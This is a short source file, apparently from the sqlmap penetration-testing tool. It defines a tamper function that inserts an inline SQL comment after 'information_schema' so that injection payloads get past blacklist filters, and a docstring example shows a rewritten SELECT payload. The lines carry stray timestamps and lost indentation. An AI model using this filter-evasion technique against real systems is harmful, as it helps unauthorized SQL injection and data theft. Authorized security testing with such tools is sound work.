2015-03-26 13:57:51 +03:00
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#!/usr/bin/env python
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"""
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2016-01-06 02:06:12 +03:00
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Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
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2015-03-26 13:57:51 +03:00
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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from lib.core.enums import PRIORITY
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__priority__ = PRIORITY.LOW
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def tamper(payload, **kwargs):
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"""
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Add a comment to the end of all occurrences of (blacklisted) "information_schema" identifier
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>>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES')
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'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES'
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"""
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retVal = payload
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if payload:
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retVal = re.sub(r"(?i)(information_schema)\.", "\g<1>/**/.", payload)
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return retVal
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